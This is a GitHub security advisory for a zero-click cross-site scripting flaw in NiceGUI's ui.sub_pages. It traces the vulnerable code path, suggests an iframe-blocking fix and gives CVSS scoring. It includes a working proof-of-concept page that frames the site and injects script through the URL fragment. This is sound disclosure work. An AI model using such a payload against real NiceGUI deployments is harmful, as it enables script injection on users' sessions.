Skip to content

NiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS

High severity GitHub Reviewed Published Jan 8, 2026 in zauberzeug/nicegui • Updated Jan 8, 2026

Package

pip nicegui (pip)

Affected versions

>= 2.22.0, <= 3.4.1

Patched versions

3.5.0

Description

Summary

An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.

Details

The problem is traced as follows:

  1. On pushstate, handleStateEvent is executed.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39

  1. handleStateEvent emits sub_pages_open event.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25

  1. SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22

  1. _handle_open finds any SubPages and runs _show() on them

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71

  1. If the if-logic is followed or debug prints are added, it can be found that it calls self._handle_scrolling(match, behavior='smooth') directly

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100

  1. CULPRIT _handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217

PoC

Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.

<html>
  <body>
    <iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
    <script>
      function triggerXSS() {
        if (!myiframe.src.includes("#")) {
          myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
        }
      }
    </script>
  </body>
</html>

image

Impact

Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.

The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).

Patch

  1. Not use ui.sub_pages
  2. Block iframe with the following code
@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
    response = await call_next(request)
    response.headers['X-Frame-Options'] = 'DENY'
    return response

Appendix

AI is used safely to judge the CVSS scoring (input is censored).

Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma

Scoring update after manual review

The scoring done by AI was quite biased. Upon further review it is less dramatic.

  • User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
  • Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
  • Availability None: No DDoS is possible with this. Site remains performant as ever.

References

@falkoschindler falkoschindler published to zauberzeug/nicegui Jan 8, 2026
Published by the National Vulnerability Database Jan 8, 2026
Published to the GitHub Advisory Database Jan 8, 2026
Reviewed Jan 8, 2026
Last updated Jan 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-21873

GHSA ID

GHSA-mhpg-c27v-6mxr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.